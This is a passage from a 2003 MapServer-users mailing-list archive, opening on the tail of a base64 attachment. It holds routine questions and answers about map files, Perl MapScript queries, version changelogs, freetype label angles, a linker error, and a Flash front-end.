SNk0Gi3nU0nEgkV1WTwzLeQAYBsjYXsXa57iSWIRQO+XURcETD/0TRZ0VCdGJyikTJmGBMVUcfn3 JcLCV2f1F/xzT6OHVroBeawidPemGSZneoeUK+I0LkaoLBU/ZQm1hF6HaYMzSjAlOgJRGHGHYmPo X4wkeBFFhbv0LrWUV++2dO9HYPzhRNtUVm3VNLiXZtBEX+K1Xt2lWRVkcNCiVcgFMtqkTEtWfqWn iT22/mVWOFOO4lju13vbAofcASqT5TMWR1YK93kBFj8xFnodo4g/CGlIkz/RIYmFM4l+eGnTEVJ7 ZWaGiGX6hioj9XC3+FcIhTcWQ1scRYS1CCz2ZngtNTYQ6Fs11HxmdFuWqEpv14c5lz5f5WRV8l9K 1VSqKFoy0XMoWATykibISH5rBDoN54KtFHgJeH0/oXIccoziWBIZ+EZBBDGYdHon0zjrInq+1V4y tlPOlXj8qGl5Y4BR1Fja1z8kUXUQNkE/d3do5YA/QxZl+F70YWlzIFlDpVA1t4dVGFyuBWRYWIz6 5GNFyIqYlwrvmBknJTgfRGdaB2JOdHyTsTCveHb0/rgMU5Uw0Vc6HWeDUiGUmPRgcOUnB0k/REhT FReA6jgAVBV6JacCoZhvW6V0MSdzauiA/SJPfNiAU+hCZIUNlegRH2k4cDV0fxdV38E7FyiRP6NQ 3CeSPqhFtLUpFcllMFSXUKU5yYRzsDd2WUiMMYhpuEc/GeNOhHmREYOYlpRJgGSHxZJZiuWWPxY/ UNcusSEbyghASEVZD7A6Q+lxTuk/3HSVtPd8P+ZWCwh53HhHqzgyPDFoEsKJOfKTibmMesh1N+SX wSIvhelNlMFWbLZKsKGO/neYSjSTANhaxpQ/zMlBmsA9D6OItihKu+NaZBae5LmYbuJuh0FajKET /ifhAhjFZDwTR91VjiaIWQ6GTjloW9nRPhRQBaAxP/ElSILmTtxEk5IyPzX4Wrn3TRKXXWpmWMrj ZcIYnkEjc3RhnNk4OY4/XQqAm2B3ci2TeZa0RTY5UmmWP1lWViBaleW3anf1XZK4f3jXky+1ZMvD PJ/miZemU9eYe384kyO4Zg/5TAthgEHyYlxVTZhVZxuVYhsmP6SZoX4xHtFDYIgYauQEpSLKRPt0 XUFRK3OGjkpaJDWyfcQHerI0Svj3pJo3ks6SbQ+Ehmg/nEg6OKhESOYXeP3ndXDgaVoKil4mMyTX oBVaKqDXm1GWU/aVXqfZIovIdmkEg8tILTci/qM/5WU/tiQLhhgtQG44sGBzxYeIuCh7BFogmIh3 0KnUk1tlKWfQ+ENlJIp4KGFJ4KrodW8wA4VBWnsECqUY6o5nqmPLoZpPSYfBOZ92OlBquXjPhjvw h0eVFlZB6X1eWaz681O8opLeBINoRKaKcnLSdjPZ4jB8WlSwBh4wJyblimgWeUXSOiHm+EmU46va aj5MejizI4wXeap2pTM0p6uvGj93Fj8xWTY/yZnW5AnYJheWIimx1neVdD8N63Nq8bD4k4gwqnZj emZJB0CC+LBlOYwx9z/s14USEpfS1qN6KYJzSD8DdoSHxYQP+2kxSnHeSq18B6GXCn+ohm0h/eNh 4dWRkemhhaRWAgamWDOyQisXnvJbGhGJgjkLPxY4d6kLGlun4Kpa1IWOEUZQ0+lZl0Cw2hM/mdam oPmk6ClCVvo6GUSyKruRTYR3N5WFime22uOydTt91KSTd+eESIsMWwuvYDUsv0eDNUaju2cfehs9 Lmu0tOKUkUKzILh/Ugqt0eo/i8YymmiqrlazP7qbz1ZlP6goEcaRJeRfULaFN2u4A0KhawtRn+ic h/eVy4azvIS3h0t5TwloKspPPPK0rvJLHMhuV5p9F1eUO1pt/fYG3cJA4aYT8jO9M3IUD/S6x/a8 yJa7hbu93zts3Att4Ku94hu+wZYkCQAAOw== ------_=_NextPart_000_01C2BE27.FF22ADE0-- --=_0D52166B.F899E87E-- From jmccue at geovue.com Fri Jan 17 06:59:20 2003 From: jmccue at geovue.com (John McCue) Date: Fri, 17 Jan 2003 09:59:20 -0500 Subject: [Mapserver-users] (no subject) In-Reply-To: <40094DC6.2060502@terrestris.de> Message-ID: Thanks Till, I don't speak or read German, so I am out of luck. I'll keep looking! From guillaume.sueur at khi2.fr Fri Jan 17 07:10:07 2003 From: guillaume.sueur at khi2.fr (Guillaume SUEUR) Date: Fri, 17 Jan 2003 16:10:07 +0100 Subject: [Mapserver-users] History for 3.6.4 ? References: <3E27D47C.3060700@geosysnet.de> <10169.1042809935@www4.gmx.net> Message-ID: <3E281CCF.4050004@khi2.fr> Hi there, Where can I find the description of the changes from 3.6.3 to 3.6.4 ? Thx -- --------------------------- Guillaume SUEUR Ing?nieur d?veloppement SIG KHI2 - BVA 25bis Avenue Marcel Dassault 31505 TOULOUSE CEDEX 5 ---------------------------- From rich at greenwoodmap.com Fri Jan 17 07:08:30 2003 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 17 Jan 2003 08:08:30 -0700 Subject: [Mapserver-users] Re: Mapserver - Itemquery In-Reply-To: <001401c2be03$b81246a0$af7a063d@clickntrac> Message-ID: <5.2.0.9.0.20030117073721.00a8c320@mail.greenwoodmap.com> --=======32FE3149======= Content-Type: multipart/alternative; x-avg-checked=avg-ok-539216BE; boundary="=====================_91392615==.ALT" --=====================_91392615==.ALT Content-Type: text/plain; x-avg-checked=avg-ok-539216BE; charset=us-ascii; format=flowed Content-Transfer-Encoding: 8bit Steve, I am not too familiar with the demos so I can't answer your question in the context of the demos, but what you are trying to do isn't hard. Basically you need to have just one map file and just one template file for your project. In your map file, you will need two definitions for the lake layer, one for normal display of the lake and another for displaying the lake that has been queried. Give the layer definitions different names e.g. LAKE and LAKE_QUERIED. Here's an example (off the top of my head, so it might not be perfect): QUERYMAP STATUS ON STYLE SELECTED END LAYER # this layer displays all lakes and allows user to # click on lake and get lake name NAME LAKE TYPE Polygon DATA "lake" status default CLASS Name "Lakes" # this is just for display in the legend TEMPLATE "attribute_display.html" # Use to display attribute data SYMBOL "Solid" OUTLINECOLOR 0 0 255 SIZE 2 END # CLASS END # layer LAYER # this layer just displays one lake when it has been queried # for based on lake_id NAME "LAKE_QUERY" DATA "lake" TYPE polygon STATUS default FILTERITEM lake_id Filter "%kake_id%" CLASS TEMPLATE tc.html # Use to display map OUTLINECOLOR 255 255 0 SYMBOL 'solid' SIZE 6 END # CLASS END # LAYER In terms of using javascript to set form variables - you should have to for a basic page. You should be able to get everything you describe working with standard form controls. Your template file looks ok, but I think you should add: I will CC this reply to the list because there is always some out there with a useful suggestion. Rich At 04:37 PM 1/17/2003 +0800, Steve McCrone wrote: >Hello, > >Sorry for mailing directly, but from previous mails and archives you seem >quite familiar with CGI mapserver. >So, if you don't mind me asking you a question - > >Let's start with the demo from the mapserver website. The one that starts >with demo_init.html, >demo.map and demo.html, and demo_footer.html & demo_header.html > >Here's what I'm after - I wish to combine the case1 demo in the TestSuite >with this demo described above. >In other words, the user selects a lake (from Lakespy2) from a combo box, >pushes a button and the >map will zoom into this lake (on the same page - demo.html) NOT opening >up another page, and highlite it yellow. >I have the case1 demo working but wish to have it all on the same page. > >I have added a combo box and button - > > Pick one: > > > >where the user selects a 'lake' and then pushes the button. Then the map >image zoomed in to this polygon will be loaded >in the palce of ths img in - width=600 height=600 border=0> > >Then the user can continue to interact with the map image by zooming >in/out/panning etc. > >I assume I need to call a javascript function to set the variable etc., >which will involve setting such >variables as - > > > > > >But, I'm at a loss on how to have this function within the same page. I >also need to set my filters etc in my map page, but when I initially >load my page the lakespy2 shape file is not loaded. > >I have spent hours searching the archive but have not found anyone who has >implemented this. > >Thanks for any assistance you can provide. I will continue trying. > >Steve > > > > >< Richard W. Greenwood, PLS (307) 733-0203 Rich at GreenwoodMap.com www.GreenwoodMap.com --=====================_91392615==.ALT Content-Type: text/html; x-avg-checked=avg-ok-539216BE; charset=us-ascii Content-Transfer-Encoding: 8bit Steve,

I am not too familiar with the demos so I can't answer your question in the context of the demos, but what you are trying to do isn't hard. Basically you need to have just one map file and just one template file for your project.

In your map file, you will need two definitions for the lake layer, one for normal display of the lake and another for displaying the lake that has been queried. Give the layer definitions different names e.g. LAKE and LAKE_QUERIED.

Here's an example (off the top of my head, so it might not be perfect):

QUERYMAP        
        STATUS ON
        STYLE SELECTED
END

LAYER   # this layer displays all lakes and allows user to
                # click on lake and get lake name
        NAME LAKE
        TYPE Polygon
        DATA  "lake"    
        status default
        CLASS
                Name "Lakes"    # this is just for display in the legend
                TEMPLATE "attribute_display.html"       # Use to display attribute data
                SYMBOL "Solid"          
                OUTLINECOLOR 0 0 255
                SIZE 2
        END  # CLASS
END  # layer

LAYER   # this layer just displays one lake when it has been queried
                # for based on lake_id
        NAME "LAKE_QUERY"
        DATA "lake"                             
        TYPE  polygon
        STATUS default
        
        FILTERITEM lake_id
        Filter "%kake_id%"      
        CLASS
                TEMPLATE tc.html        # Use to display map
                OUTLINECOLOR 255 255 0  
                SYMBOL 'solid' SIZE 6
        END # CLASS
END # LAYER

In terms of using javascript to set form variables - you should have to for a basic page. You should be able to get everything you describe working with standard form controls.

Your template file looks ok, but I think you should add:
        <input type="hidden" name="mapext"   value="shapes">

I will CC this reply to the list because there is always some out there with a useful suggestion.

Rich

At 04:37 PM 1/17/2003 +0800, Steve McCrone wrote:

Hello,
 
Sorry for mailing directly, but from previous mails and archives you seem quite familiar with CGI mapserver.
So, if you don't mind me asking you a question -
 
Let's start with the demo from the mapserver website. The one that starts with demo_init.html,
demo.map and demo.html, and demo_footer.html & demo_header.html
 
Here's what I'm after - I wish to combine the case1 demo in the TestSuite with this demo described above.
In other words, the user selects a lake (from Lakespy2) from a combo box, pushes a button and the
map will zoom into this lake (on the same page  - demo.html) NOT opening up another page, and highlite it yellow.
I have the case1 demo working but wish to have it all on the same page.
 
I have added a combo box and button -
 
 Pick one:
  <select name="value" size="1">
  <option>  BOWSTRING
  <option>  ALICE
  </select>
  <input type="button" value="Go!" onclick="javascript:find()">

 
where the user selects a 'lake' and then pushes the button. Then the map image zoomed in to this polygon will be loaded
in the palce of ths img in - <INPUT NAME="img" TYPE="image" SRC="[img]" width=600 height=600 border=0>
 
Then the user can continue to interact with the map image by zooming in/out/panning etc.
 
I assume I need to call a javascript function to set the variable etc., which will involve setting such
variables as -
<input type="hidden" name="mode" value="itemquery">
<input type="hidden" name="qlayer" value="Lakespy2">
<input type="hidden" name="item" value="Lake_name">
<input type="hidden" name="mapext" value="">

 
But, I'm at a loss on how to have this function within the same page. I also need to set my filters etc in my map page, but when I initially
load my page the lakespy2 shape file is not loaded.
 
I have spent hours searching the archive but have not found anyone who has implemented this.
 
Thanks for any assistance you can provide. I will continue trying.
 
Steve
 
 

 
<

Richard W. Greenwood, PLS
(307) 733-0203
Rich at GreenwoodMap.com
www.GreenwoodMap.com --=====================_91392615==.ALT-- --=======32FE3149=======-- From vincent at javel.nl Fri Jan 17 07:18:10 2003 From: vincent at javel.nl (Vincent Jansen) Date: Fri, 17 Jan 2003 16:18:10 +0100 Subject: [Mapserver-users] Fwd: perl mapscript 3.6.4 $layer->queryByPoint Message-ID: <200301171618.10951.vincent@javel.nl> Hi, In perl I'm using the folowing : $layer = $mapObj->getLayerByName('query wijk'); $layer->{status} = 1; $result = $layer->queryByPoint($mapObj, $point, MS_SINGLE, 0); $data = $layer->getResult(0); $shape = $data->{shapeindex}; width a valid mapObj and Point on a layer that looks like LAYER CLASS COLOR 0 0 255 OUTLINECOLOR 0 0 0 SYMBOL 'arcering' END DATA "wijkvlakken" NAME "query wijk" STATUS OFF TYPE POLYGON END although $return == 1 and i'm positive there's a shape at the givvin point, somehow $data and $shape stay empty Am i missing something obvious? Thanks -- Vincent Jansen vincent at javel.nl From assefa at dmsolutions.ca Fri Jan 17 07:18:01 2003 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Fri, 17 Jan 2003 10:18:01 -0500 Subject: [Mapserver-users] History for 3.6.4 ? References: <3E27D47C.3060700@geosysnet.de> <10169.1042809935@www4.gmx.net> <3E281CCF.4050004@khi2.fr> Message-ID: <3E281EA9.36E02C8E@dmsolutions.ca> This is a multi-part message in MIME format. --------------BF0BE9FC0F7C8388431B076E Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Attached is HISTORY.txt with the changes. This file is also available in the mapserver cvs repository. Later, Guillaume SUEUR wrote: > Hi there, > Where can I find the description of the changes from 3.6.3 to 3.6.4 ? > > Thx > > -- > --------------------------- > Guillaume SUEUR > Ing?nieur d?veloppement SIG > KHI2 - BVA > 25bis Avenue Marcel Dassault > 31505 TOULOUSE CEDEX 5 > ---------------------------- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- --------------BF0BE9FC0F7C8388431B076E Content-Type: text/plain; charset=us-ascii; name="HISTORY.TXT" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="HISTORY.TXT" MapServer Revision History ========================== This is a human-readable revision history which will attempt to document required changes for users to migrate from one version of MapServer to the next. Developers are strongly encouraged to document their changes and their impacts on the users here. (Please add the most recent changes to the top of the list.) For a complete change history, please see the CVS log comments. A copy of the CVS logs is updated daily at the following URL: http://www2.dmsolutions.ca/mapserver/dl/mapserver_changelog.txt Version 3.6.4 (2003-01-08) -------------------------- - Use LD instead of CC to refer to linker program name in the Makefile to help dealing with GCC 3.x issues (doesn't resolve the issue completely) - Added missing MS_LAYER_CIRCLE and MS_CC constants in PHP MapScript - Fixed bad memory corruption bug with WMS SRS parameter value mapwms.c (Thanks to Ed M. for finding it) - Added version 3.7's mappostgis.c - minor bug fixes - lots of help if you make a mistake - more functionality - Fixed problem in space-delimited wms_srs metadata with WMS client mode where the last SRS in the string was never used even if it would have been a best match. Causing unnecessary WMS reprojections in several cases. - Fixed configure script to produce an error if --with-gdal does not point to a valid gdal-config file. Version 3.6.3 (2002-10-07) -------------------------- - Fixed problem with numeric labels with OGR's STYLEITEM AUTO (bug 185) - PHP MapScript: fixed set() method on all object types for parameters of type float and string. The param value was not forced to the right type and this could lead to unexpected values being set or crashes. - Fixed bug 174 - improperly terminated string buffer in msWMSException() - Fixed problem with 'gcc undef' appearing in the mapscript/php3/Makefile on FreeBSD. Also added --enable-internal-ld-detect configure switch to force use of an internal configure macro to detect ld command and args in case the default doesn't work (this is for mapscript/php3/Makefile only) - Fixed potential crash with WMS GML query output (missing msInitSHape() in msGMLWriteQuery()) - Fixed Windows-specific problem where WMS capabilities were always returned as 1.0.0 even if 1.1.0 was requested Version 3.6.2 (2002-07-08) -------------------------- - Added msTokenizeMap() in MapScript (and via 'mapserv -t test.map') - Added map->setFontSet() - Fixed Windows-specific problem with PHP MapScript ms_newMapObj("") called with empty filename. - Fixed problem with double 'gcc' appearing in mapscript/php3/Makefile on some systems. Version 3.6.1 (2002-06-20) -------------------------- - Fixed a performance problem in msImageFilledPolygon() (bug 162) 3.6.0 was up to 50% slower than 3.5 rendering polygons, and now 3.6.1 is up to 10-20% faster than 3.5. - Removed obsolete PHP3 stuff in README files and configure scripts. - Fixed color problem with crosshair in reference map. - Fixed an issue with "LOCATION TINY" being output in legend label objects. - Postgis bug 165: fix dont_force() to allow for POINT shapes - Make sure inline symbols (symbols defined in the mapfile) are saved when msSaveMap() is called. They used to be lost. Version 3.6.0 (2002-05-28) -------------------------- - No change since 3.6.0-beta2 Version 3.6.0-beta2 (2002-05-23) -------------------------------- - A few fixes. - PostGIS: Added Sean Gillies 's patch for "using unique ". Added "using SRID=#" to specify a spatial reference for an arbitrary sql query. - WMS Capabilities XML: Return grouped/ungrouped layers in an order closer to the natural mapfile order (bug 154) - Integrated patch from Tim Mackey to support ROSA applet parameters via mapserv CGI, see: http://mapserver.gis.umn.edu/wilma/mapserver-users/0011/msg00077.html Version 3.6.0-beta1 (2002-04-30) -------------------------------- - MapScript: qitem and qstring params added to layer->queryByAttribute(). Instead of being driven by the layer's FILTER/FILTERITEM, the query by attribute is now driven by the values passed via qitem,qstring, and the layer's FILTER/FILTERITEM are ignored. - Symbol and MapFile changes: ANTIALIAS and FILLED keywords now take a boolean (TRUE/FALSE) argument i.e. ANTIALIAS becomes ANTIALIAS TRUE and FILLED becomes FILLED TRUE - Reference Map: Added options to show a different marker when the reference box becomes too small. See the mapfile reference docs for more details on the new reference object parameters (MARKER, MARKERSIZE, MAXBOXSIZE, MINBOXSIZE) - Added MINSCALE/MAXSCALE at the CLASS level. - Support for tiled OGR datasets. - PHP 4.1.2 and 4.2.0 support for PHP MapScript. - Added LAYER TRANSPARENCY, value between 1-100 - Fixes to the SWIG interface for clean Java build. - New HTML legend templates for CGI and MapScript. See HTML-Legend-HOWTO. - WMS server now supports query results using HTML query templates instead of just plain/text. - Added support functions for thread safety (--with-thread). Still not 100% thread-safe. Version 3.5.0 (2002-12-18) -------------------------- - No Revision history before version 3.5 --------- $Id: HISTORY.TXT,v 1.3.2.26 2003/01/08 19:06:59 dan Exp $ --------------BF0BE9FC0F7C8388431B076E-- From lfilak at medinaco.org Fri Jan 17 07:33:17 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 17 Jan 2003 10:33:17 -0500 Subject: [Mapserver-users] Fwd: perl mapscript 3.6.4 $layer->queryByPoint Message-ID: <200301171529.h0HFTxR26931@yogi.medinaco.net> I think 1 small change should fix it. HTH Lowell F. The following message was sent by Vincent Jansen on Fri, 17 Jan 2003 16:18:10 +0100. > Hi, > > In perl I'm using the folowing : > > $layer = $mapObj->getLayerByName('query wijk'); > $layer->{status} = 1; $layer->{status} = $mapscript::MS_ON; > > $result = $layer->queryByPoint($mapObj, $point, MS_SINGLE, 0); > $data = $layer->getResult(0); > $shape = $data->{shapeindex}; > > width a valid mapObj and Point > on a layer that looks like > > LAYER > CLASS > COLOR 0 0 255 > OUTLINECOLOR 0 0 0 > SYMBOL 'arcering' > END > DATA "wijkvlakken" > NAME "query wijk" > STATUS OFF > TYPE POLYGON > END > > although $return == 1 and i'm positive there's a shape at the givvin point, > somehow $data and $shape stay empty > > Am i missing something obvious? > > Thanks > -- > Vincent Jansen > vincent at javel.nl > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From stepan.kafka at centrum.cz Fri Jan 17 07:37:25 2003 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Fri, 17 Jan 2003 16:37:25 +0100 Subject: [Mapserver-users] problems with WMS and Cached Query In-Reply-To: Message-ID: <000f01c2be3e$55864d70$7e3c2fc3@HSGIS> Hi Victor, do you have any projection parameters in mapfile? What is your configuration? Mapfile example atc... Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz http://www.bnhelp.cz > -----P?vodn? zpr?va----- > Od: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele Pascual > Ayats, Victor > Odesl?no: 15. ledna 2003 17:29 > Komu: 'mapserver-users at lists.gis.umn.edu' > P?edm?t: [Mapserver-users] problems with WMS and Cached Query > > > Dear users > > When I run Itasca Demo the Cached Query don't work well, the result is a > bizarre bmp. Also when I make a WMS query by HTTP get method, the result > it's the same bizarre image(png or gif). > > I think mapserv try to build the image, but wrong. > > Any idea?? > > I've got Windows NT and Tomcat 4.1 and Mapserv3.6 > > > Thanks in advance > > Victor Pascual Ayats > > PROJECTE IDEC > Institut Cartogrrfic de Catalunya > Parc de Montjuic - 08038 Barcelona > tel. 34 93 567 15 00 Ext:3327 > > http://www.gencat.es/idec > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From vincent at javel.nl Fri Jan 17 07:46:21 2003 From: vincent at javel.nl (Vincent Jansen) Date: Fri, 17 Jan 2003 16:46:21 +0100 Subject: [Mapserver-users] Fwd: Re: perl mapscript 3.6.4 $layer->queryByPoint Message-ID: <200301171646.21876.vincent@javel.nl> Steve send me the solution, works great Hi Vincent: The layer isn't queryable as it sits. Even though you probably won't use it you have to define a template in the CLASS section. Something like: TEMPLATE "dummy" should be sufficient. Steve >>> Vincent Jansen 01/17/03 09:08 AM >>> Hi, In perl I'm using the folowing : $layer = $mapObj->getLayerByName('query wijk'); $layer->{status} = 1; $result = $layer->queryByPoint($mapObj, $point, MS_SINGLE, 0); $data = $layer->getResult(0); $shape = $data->{shapeindex}; width a valid mapObj and Point on a layer that looks like LAYER CLASS COLOR 0 0 255 OUTLINECOLOR 0 0 0 SYMBOL 'arcering' END DATA "wijkvlakken" NAME "query wijk" STATUS OFF TYPE POLYGON END althoug $return == 1 and i'm positive there's a shape at the givvin point, somehow $data and $shape stay empty Am i missing something obvious? Thanks -- Vincent Jansen vincent at javel.nl ------------------------------------------------------- From jlowe at giswebsite.com Fri Jan 17 08:06:19 2003 From: jlowe at giswebsite.com (Jonathan W. Lowe) Date: 17 Jan 2003 08:06:19 -0800 Subject: [Mapserver-users] TrueType Font and Label Angle In-Reply-To: References: Message-ID: <1042819582.1114.66.camel@localhost.localdomain> Steve, These responses cleared up my confusion and moved things forward--thanks for the clarification. FYI: there does seem to be a difference in label angles and placement between mapserver-3.6.3 and mapserver-3.7 (from yesterday's nightly build. Specifically, when labeling lines with the "ANGLE AUTO" parameter, mapserver-3.6.3 (w/ freetype-1.3.1 and gd-1.8.4) places line labels exactly along and on top of the lines. Mapserver-3.7 (w/ freetype-2.1.3 and gd-2.x) places the labels (sometimes) slightly different from the angle of the lines and slightly askew from the lines. Comparisons appear at the following (temporary) URL: http://www.giswebsite.com/labels/ The labels generated by mapserver-3.6.3 look cleaner cartographically (to my eye). Certainly not a show stopper--but I thought you might like to know in case it's an easy fix. Thanks again, Jonathan On Thu, 2003-01-16 at 21:00, Steve Lime wrote: > 1) Who knows. Since there is an easy work around I've not felt the need > to poke around the GD code- that's where the problem is. The pain is on > those systems that have a particular version of GD and/or Freetype > pre-installed (life is fine on Solaris for example). > > 2) Um, no need to blame anyone. It really shouldn't have been until GD > 2.0 was stable, so prior to 3.7 only Freetype 1 should be looked for. > The good news is that recent versions of GD 2.0 have had major updates > to TTF support and are believed to work just fine. Bottom line is to use > freetype 1.3.1/gd 1.8.4 with MapServer 3.6.x and either that combination > or freetype 2.0/gd 2.x with MapServer 3.7. > > 3) The bug(s) is in the GD interface to Freetype, not in Freetype > itself. Freetype 2 support in GD has not been stable until recently. > > Steve > > > Stephen Lime > Data & Applications Manager > > Minnesota DNR > 500 Lafayette Road > St. Paul, MN 55155 > 651-297-2937 > >>> "Jonathan W. Lowe" 01/16/03 21:38 PM >>> > Questions (for Daniel?) about the freetype1 vs. freetype2 problem: > > 1) Why does the same version of gd + freetype2 result in a successful > mapserver compilation (i.e. no label angle problems) on RedHat 8.0, but > not on FreeBSD? > > 2) If freetype2 is a problem, why is it the default in the mapserver > Makefile? > > 3) And, if there is a bug in freetype2, rather than avoiding freetype2 > altogether (an endeavor raising its own set of problems), why not get > the bug fixed? Is it a known bug? Has anyone from the list identified > the bug and/or contacted the freetype developer(s) to report it? > > (If this is much easier said than done, please forgive my naivete.) > > Thank you, > Jonathan Lowe > > On Tue, 2003-01-14 at 21:42, Daniel Morissette wrote: > > "Jonathan W. Lowe" wrote: > > > > > > For what it's worth, my installation on RedHat 8.0 didn't have the > label angle > > > problems, so it is possible to successfully compile the software on > Linux. At > > > one point in my efforts to overcome the label angle problems, I > found a > > > reference that said the mere presence of freetype2 might force the > compiler to > > > use freetype2 (the supposed culprit in the label angle problem) > rather than > > > freetype1. Do you have root access to the system on which you are > compiling? I > > > had to isolate libraries like gd and freetype in a local directory > in order to > > > be sure my compilation used exactly the libraries I intended it to > use. > > > > > > > FYI there is a --enable-force-freetype1 configure switch in 3.6.x and > > 3.7 to try to force detection of Freetype 1 in priority over freetype > 2 > > when a system has both. Starting with RH 7.x and 8.x this is very > > useful if you want to compile with your own custom GD with freetype > 1.3. > > > > Daniel > > -- > > ------------------------------------------------------------ > > Daniel Morissette morissette at dmsolutions.ca > > DM Solutions Group http://www.dmsolutions.ca/ > > ------------------------------------------------------------ > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From mpr at dpi.ufv.br Fri Jan 17 08:08:21 2003 From: mpr at dpi.ufv.br (=?iso-8859-1?Q?Maur=EDcio?= Pereira Reis) Date: Fri, 17 Jan 2003 14:08:21 -0200 Subject: [Mapserver-users] shp2img_error In-Reply-To: Message-ID: <5.1.0.14.0.20030117140602.00bc95b0@vicosa.dpi.ufv.br> The error undefined reference to `__gxx_personality_v0' tells you that you need to link shp2img using g++ rather than gcc because one of your libraries has C++ code. I suggest that you make a backup copy of your Mapserver Makefile. Open the Makefile and go to the lines where the Mapserver apps are compiled. There will be lines like these: $(CC) -o shp2img shp2img.o ... Replace $(CC) with $(CXX), and make sure that CXX is defined as c++ or g++ at some lesser line number in the Makefile (this should be true by default). Good luck! Mauricio At 12:53 17/1/2003 +0100, hvollmer at zebris.com wrote: >Hello >I am trying to install a 3.6 build of mapserver on a Redhat 7 Linux box >while using the following options with the configuration script. > >./configure --with-gd=/usr/local/gd-2.0.10 >--with-freetype=/usr/lib/freetype --with-jpeg=/usr/local/jpeg > >gd-2.0.10 >freetype-2.1.2 >jpeg-6b > >After compilation the libraries are indicated and the makefile builds >without complaint. >When I run 'make' I get the following problem > >gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_JPEG >-DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT >-I/usr/local/include shp2img.o -L. -lmap -lgd >-L/usr/local/lib -lgd -ljpeg -lfreetype -lpng - lz -ljpeg >-lfreetype -lpng -lz -ljpeg -lm -o shp2img >./libmap.a(mapogr.o)(.eh_frame+0x11): undefined reference to >`__gxx_personali ty_v0' >collect2: ld returned 1 exit status >make: *** [shp2img] Fehler 1 > >Does anyone Knows this error and could I please get some pointers or >advice? > >Thanks in advance, > >Hennes Vollmer >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ------ Mauricio Pereira Reis Graduando em Ci?ncia da Computa??o Universidade Federal de Vi?osa - UFV Minas Gerais - Brasil From DOtt at PALATINE.IL.US Fri Jan 17 10:03:18 2003 From: DOtt at PALATINE.IL.US (Dale Ott) Date: Fri, 17 Jan 2003 12:03:18 -0600 Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #46 - 47 msgs (Auto Reply.) Message-ID: Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks! From rgrant at nrcan.gc.ca Fri Jan 17 10:36:26 2003 From: rgrant at nrcan.gc.ca (Grant, Ryan) Date: Fri, 17 Jan 2003 13:36:26 -0500 Subject: [Mapserver-users] Flash Interface to mapserver Message-ID: <8AE17DD6AA4FD51191CD0002A551168184BB49@s5-van1-r1.ess.nrcan.gc.ca> Only Flash 6 supports the dynamic loading of jpegs. Flash 5 supports dynamic loading of swfs, but I'm not sure about Flash 4. Once mapserver 3.7 comes out with swf support, it may be possible to use these earlier versions... -----Original Message----- From: Arthur, John [mailto:John.Arthur at T-Mobile.com] Sent: Friday, January 17, 2003 6:45 AM To: Mapserver-users at lists.gis.umn.edu Cc: 'Grant, Ryan' Subject: RE: [Mapserver-users] Flash Interface to mapserver Silly question, I know... but does anyone know if it is possible to write a flash front-end in flash 4? This is all I have, and can't afford to upgrade at the moment. I have a request in at work for the new Studio MX, but it doesn't look like its going through. BTW, I tested it on a Pocket PC... no go. I imagine it requires Flash player 6, pocket ie only has 5. Works in Opera for linux, Works in Phoenix for linux, Does not work in Konqueror 3.1... It loads the movie, but doesn't load the actual map. Just continues to say "Loading Map..." Thanks -John Arthur -----Original Message----- From: Grant, Ryan [mailto:rgrant at nrcan.gc.ca] Sent: Thursday, January 16, 2003 6:33 PM To: 'Steve Lime'; Mapserver-users at lists.gis.umn.edu; Grant, Ryan Subject: RE: [Mapserver-users] Flash Interface to mapserver Sounds great to me! After talking with Paul Ramsey I've started working a Flash version to work with the CGI implementation. I'll post it once I get anywhere with it.. Ryan -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Thursday, January 16, 2003 2:53 PM To: Mapserver-users at lists.gis.umn.edu; rgrant at nrcan.gc.ca Subject: Re: [Mapserver-users] Flash Interface to mapserver Don't want to lose this. How 'bout adding/starting a flash section on the wiki? >>> "Grant, Ryan" 01/16/03 01:55PM >>> Hey there. Well it's time I stopped simply leaching from this users-group and add my contribution. I've built a simple flash interface around MapServer 3.6.3. The backend functionality is provided by PHP-Mapscript. On the page is a link to a zip file containing all of the relevant code. Feel free to use anything you want. I couldn't have been here without the help and knowledge gleamed from this users group. I would appreciate any bug reports, feedback, suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on a Mac and so far all is well. http://132.156.108.209/FlashMap/FlashMapServer.html Cheers! Ryan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From lee at geoplan.ufl.edu Fri Jan 17 11:24:56 2003 From: lee at geoplan.ufl.edu (lee at 